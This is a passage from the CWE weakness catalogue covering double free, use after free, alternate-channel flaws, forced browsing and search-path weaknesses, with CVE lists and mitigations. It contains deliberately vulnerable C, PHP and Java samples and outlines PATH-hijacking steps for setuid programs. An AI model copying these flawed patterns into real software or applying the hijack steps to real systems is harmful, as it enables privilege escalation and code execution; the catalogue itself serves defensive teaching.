int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf1R2;
    buf1R1 = (char *) malloc(BUFSIZE2);
    buf2R1 = (char *) malloc(BUFSIZE2);
    free(buf1R1);
    free(buf2R1);
    buf1R2 = (char *) malloc(BUFSIZE1);
    strncpy(buf1R2, argv[1], BUFSIZE1-1);
    free(buf2R1);
    free(buf1R2);
}
```

Observed Examples

Reference	Description
CVE-2002-0059	Double free from malformed compressed data.
CVE-2003-0545	Double free from invalid ASN.1 encoding.
CVE-2003-1048	Double free from malformed GIF.
CVE-2004-0642	Double free resultant from certain error conditions.
CVE-2004-0772	Double free resultant from certain error conditions.
CVE-2005-0891	Double free from malformed GIF.
CVE-2005-1689	Double free resultant from certain error conditions.
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).

Potential Mitigations

Architecture and Design

Choose a language that provides automatic memory management.

Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Implementation

Use a static analysis tool to find double free instances.

Relationships

Nature	Type	ID	Name	V	Page

CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	CWE More Specific	Do not access freed memory
CERT C Secure Coding	MEM31-C		Free dynamically allocated memory exactly once
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Double Frees", Page 379.. 1st Edition. Addison Wesley. 2006.

Maintenance Notes

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

CWE-416: Use After Free

Weakness ID: 416 (Weakness Base)

Status: Draft

Description

Summary

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

Alternate Terms

Dangling pointer

Use-After-Free

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Modify memory

The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.

Availability

DoS: crash / exit / restart

If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

C Example:

Bad Code

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;
    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);
    free(buf2R1);
    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);
    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);
}
```

Example 2:

The following code illustrates a use after free error:

C Example:

Bad Code

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Observed Examples

Reference	Description
CVE-2006-4434	mail server does not properly handle a long header.
CVE-2006-4997	freed pointer dereference
CVE-2008-0077	assignment of malformed values to certain properties triggers use after free
CVE-2008-5038	use-after-free when one thread accessed memory that was freed by another thread
CVE-2009-0749	realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)
CVE-2009-2416	use-after-free found by fuzzing
CVE-2009-3553	disconnect during a large data transfer causes incorrect reference count, leading to use-after-free
CVE-2009-3616	use-after-free by disconnecting during data transfer, or a message containing incorrect data types
CVE-2009-3658	Use after free in ActiveX object by providing a malformed argument to a method
CVE-2010-0050	HTML document with incorrectly-nested tags
CVE-2010-0249	use-after-free related to use of uninitialized memory
CVE-2010-0302	incorrectly tracking a reference count leads to use-after-free
CVE-2010-0378	unload of an object that is currently being accessed by other functionality
CVE-2010-0629	use-after-free involving request containing an invalid version number
CVE-2010-1208	object is deleted even with a non-zero reference count, and later accessed
CVE-2010-1437	Access to a "dead" object that is being cleaned up
CVE-2010-1772	Timers are not disabled when a related object is deleted
CVE-2010-2547	certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free
CVE-2010-2753	chain: integer overflow leads to use-after-free
CVE-2010-2941	Improper allocation for invalid data leads to use-after-free.
CVE-2010-3328	Use-after-free in web browser, probably resultant from not initializing memory.
CVE-2010-4168	Use-after-free triggered by closing a connection while data is still being transmitted.

Potential Mitigations

Architecture and Design

Choose a language that provides automatic memory management.

Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

CWE-417: Channel and Path Errors

Category ID: 417 (Category)

Status: Draft

Description

Summary

Weaknesses in this category are related to improper handling of communication channels and access paths.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	18	Source Code	1003	16
ParentOf	B	419	Unprotected Primary Channel	699	710
ParentOf	B	420	Unprotected Alternate Channel	699	711
ParentOf	C	424	Improper Protection of Alternate Path	699	714
ParentOf	3	426	Untrusted Search Path	699	716
				1003	
ParentOf	B	427	Uncontrolled Search Path Element	699	720
				1003	
ParentOf	B	428	Unquoted Search Path or Element	699	723
				1003	
ParentOf	C	514	Covert Channel	699	844
MemberOf	V	699	Development Concepts	699	1061

Relationship Notes

A number of vulnerabilities are specifically related to problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems. They are commonly used in "bypass" attacks, such as those that exploit authentication errors.

Research Gaps

Most of these issues are probably under-studied. Only a handful of public reports exist.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	CHAP.VIRT.CHAN	Channel and Path Errors

Maintenance Notes

This category is being considered for deprecation. It is not clear whether communication channels are related closely enough to access paths. In addition, the "path" term is probably assumed by many readers to be associated with file paths, as opposed to the original meaning as intended in PLOVER.

CWE-418: DEPRECATED: Channel Errors

Category ID: 418 (Deprecated Category) Status: Deprecated

Description

Summary

This category has been deprecated because it is redundant with the grouping provided by CWE-417.

CWE-419: Unprotected Primary Channel

Weakness ID: 419 (Weakness Base) Status: Draft

Description

Summary

The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control

Gain privileges / assume identity

Bypass protection mechanism

Potential Mitigations

Architecture and Design

Do not expose administrative functionality on the user UI.

Architecture and Design

Protect the administrative/restricted functionality with a strong authentication mechanism.

Relationships

Nature	Type	ID	Name	V	Page

383	Harvesting Usernames or UserIDs via Application API Event Monitoring	

CWE-420: Unprotected Alternate Channel

Weakness ID: 420 (Weakness Base)

Status: Draft

Description

Summary

The software protects a primary channel, but it does not use the same level of protection for an alternate channel.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control

Gain privileges / assume identity

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2002-0066	Windows named pipe created without authentication/access control, allowing configuration modification.
CVE-2002-0567	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote.
CVE-2002-1578	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database.
CVE-2002-1863	FTP service can not be disabled even when other access controls would require it.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
CVE-2004-1461	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.

Potential Mitigations

Architecture and Design

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		417	Channel and Path Errors	699	709
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1337
ChildOf		956	SFP Secondary Cluster: Channel Attack	888	1362
ChildOf		1011	Authorize Actors	1008	1407

ParentOf		421	Race Condition During Access to Alternate Channel	699	712
ParentOf		422	Unprotected Windows Messaging Channel ("Shatter")	699	712
				1000	

Relationship Notes

This can be primary to authentication errors, and resultant from unhandled error conditions.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unprotected Alternate Channel

CWE-421: Race Condition During Access to Alternate Channel

Weakness ID: 421 (Weakness Base) Status: Draft

Description

Summary

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Gain privileges / assume identity

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-1999-0351	FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client.
CVE-2003-0230	Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it.

Weakness ID: 422 (Weakness Variant) Status: Draft

Description**Summary**

The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Access Control****Gain privileges / assume identity****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-2002-0971	Bypass GUI and access restricted dialog box.
CVE-2002-1230	Gain privileges via Windows message.
CVE-2003-0350	A control allows a change to a pointer for a callback function using Windows message.
CVE-2003-0908	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.
CVE-2004-0207	User can call certain API functions to modify certain properties of privileged programs.
CVE-2004-0213	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.

Potential Mitigations**Architecture and Design**

Always verify and authenticate the source of the message.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	B	360	Trust of System Event Data	1000	616
ChildOf	B	420	Unprotected Alternate Channel	699	711
ChildOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1362

Relationship Notes

Overlaps privilege errors and UI errors.

Research Gaps

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such.

Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

Affected Resources

- System Process

CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel

Weakness ID: 423 (*Deprecated Weakness Base*) **Status:** Deprecated

Description

Summary

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

CWE-424: Improper Protection of Alternate Path

Weakness ID: 424 (*Weakness Class*) **Status:** Draft

Description

Summary

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

Potential Mitigations

Architecture and Design

Deploy different layers of protection to implement security in depth.

127	Directory Indexing	

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425 (*Weakness Base*) **Status:** Incomplete

Description

Summary

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

Alternate Terms

forced browsing

The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Confidentiality

Integrity

Availability

Access Control

Read application data

Modify application data

Execute unauthorized code or commands

Gain privileges / assume identity

Demonstrative Examples

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

JSP Example:

Attack

<http://somesite.com/someapplication/admin.jsp>

Observed Examples

Reference	Description
CVE-2002-1798	Upload arbitrary files via direct request.
CVE-2004-2144	Bypass authentication via direct request.
CVE-2004-2257	Bypass auth/auth via direct request.
CVE-2005-1654	Authorization bypass using direct request.
CVE-2005-1668	Access privileged functionality using direct request.
CVE-2005-1685	Authentication bypass via direct request.
CVE-2005-1688	Direct request leads to infoleak by error.
CVE-2005-1697	Direct request leads to infoleak by error.
CVE-2005-1698	Direct request leads to infoleak by error.
CVE-2005-1827	Authentication bypass via direct request.
CVE-2005-1892	Infinite loop or infoleak triggered by direct requests.

Potential Mitigations

Architecture and Design

Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Architecture and Design

Consider using MVC based frameworks such as Struts.

Relationships

Nature	Type	ID	Name	Fit	Page
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	179
ChildOf	B	288	Authentication Bypass Using an Alternate Path or Channel	699	500
ChildOf	G	424	Improper Protection of Alternate Path	699	714
ChildOf	C	442	Web Problems	1000	743
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	699	779
ChildOf	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	1000	629
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1095
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1096
ChildOf	G	862	Missing Authorization	699	1286
ChildOf	C	953	SFP Secondary Cluster: Missing Endpoint Authentication	1000	888
ChildOf	C	1011	Authorize Actors	888	1407
PeerOf	B	288	<i>Authentication Bypass Using an Alternate Path or Channel</i>	1000	500

Relationship Notes

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical Notes

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

Taxonomy Mappings

127	Directory Indexing	

CWE-426: Untrusted Search Path

Compound Element ID: 426 (Compound Element Base: Composite)

Status: Draft

Description

Summary

The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Some of the most common variants of untrusted search path are:

In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library. In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

Alternate Terms

Untrusted Path

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Operating Systems

- OS-independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Integrity

Confidentiality

Availability

Access Control

Gain privileges / assume identity

Execute unauthorized code or commands

There is the potential for arbitrary code execution with privileges of the vulnerable program.

Availability

DoS: crash / exit / restart

The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.

Confidentiality

Read files or directories

The program could send the output of unauthorized files to the attacker.

Likelihood of Exploit

High

Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples**Example 1:**

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

C Example:*Bad Code*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".

The user creates a malicious program called "ls", and puts that program in /my/dir

The user executes the program.

When system() is executed, the shell consults the PATH to find the ls program

The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".

The program executes the malicious program with the raised privileges.

Example 2:

This code prints all of the running processes belonging to the current user.

PHP Example:*Bad Code*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$username = getCurrentUser();
$command = 'ps aux | grep ' . $username;
system($command);
```

This program is also vulnerable to a PATH based attack, as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Java Example:*Bad Code*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Observed Examples

Reference	Description
CVE-1999-1120	Application relies on its PATH environment variable to find and execute program.
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages.
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
CVE-2008-1810	Database application relies on its PATH environment variable to find and execute program.
CVE-2008-2613	setuid program allows compromise using path that finds and loads a malicious library.
CVE-2008-3485	Untrusted search path using malicious .EXE in Windows environment.

Potential Mitigations

Architecture and Design

Implementation

Identify and Reduce Attack Surface

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

CWE-427: Uncontrolled Search Path Element

Weakness ID: 427 (Weakness Base)

Status: Draft

Description

Summary

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.

In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory.

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

Alternate Terms

DLL preloading

This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Binary planting

This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Insecure library loading

This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Operating Systems

- OS-independent

Common Consequences

Confidentiality

Integrity

Availability

Execute unauthorized code or commands

Demonstrative Examples

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

Java Example:

Bad Code

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Observed Examples

Reference	Description
CVE-1999-0690	Product includes the current directory in root's PATH variable.
CVE-1999-1318	Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs.

Reference	Description
CVE-1999-1461	Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicious version of that program.
CVE-2000-0854	When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document.
CVE-2001-0289	Product searches current working directory for configuration file.
CVE-2001-0507	Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file.
CVE-2001-0912	Error during packaging causes product to include a hard-coded, non-standard directory in search path.
CVE-2001-0942	Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable.
CVE-2001-0943	Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs.
CVE-2002-1576	Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program.
CVE-2002-2017	Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program.
CVE-2002-2040	Untrusted path.
CVE-2003-0579	Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user.
CVE-2005-1307	Product executable other program from current working directory.
CVE-2005-1632	Product searches /tmp for modules before other paths.
CVE-2005-1705	Product searches current working directory for configuration file.
CVE-2005-2072	Modification of trusted environment variable leads to untrusted path vulnerability.
CVE-2010-1795	"DLL hijacking" issue in music player/organizer.
CVE-2010-3131	"DLL hijacking" issue in web browser.
CVE-2010-3135	"DLL hijacking" issue in network monitoring software.
CVE-2010-3138	"DLL hijacking" issue in library used by multiple media players.
CVE-2010-3147	"DLL hijacking" issue in address book.
CVE-2010-3152	"DLL hijacking" issue in illustration program.
CVE-2010-3397	"DLL hijacking" issue in encryption software.
CVE-2010-3402	"DLL hijacking" issue in document editor.

Potential Mitigations

Architecture and Design

Implementation

Identify and Reduce Attack Surface

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Implementation

Identify and Reduce Attack Surface

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Implementation

Identify and Reduce Attack Surface

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a blacklist approach, it might not be a complete solution.

Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, `system()` in C does not require a full path since the shell can take care of finding the program using the `PATH` environment variable, while `execl()` and `execv()` require a full path.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		417	Channel and Path Errors	699	709
PeerOf		426	Untrusted Search Path	1000	716
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1018
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	1378

Relationship Notes

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

Maintenance Notes

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

CWE-428: Unquoted Search Path or Element

Weakness ID: 428 (Weakness Base)

Status: Draft

Description**Summary**

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

Extended Description

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Operating Systems

- Windows 2000 (*Sometimes*)
- Windows XP (*Sometimes*)
- Windows Vista (*Sometimes*)
- Mac OS X (*Rarely*)

Platform Notes**Common Consequences****Confidentiality****Integrity****Availability**

Execute unauthorized code or commands

Demonstrative Examples

The following example demonstrates the weakness.

C Example:

Bad Code

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

Observed Examples

Reference	Description
CVE-2000-1128	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe.
CVE-2005-1185	Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:.
CVE-2005-2938	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C:

Potential Mitigations**Implementation**

Properly quote the full search path before executing a program on the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page

References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Process Loading", Page 654.. 1st Edition. Addison Wesley. 2006.

Maintenance Notes

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message.

An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

CWE-429: Handler Errors

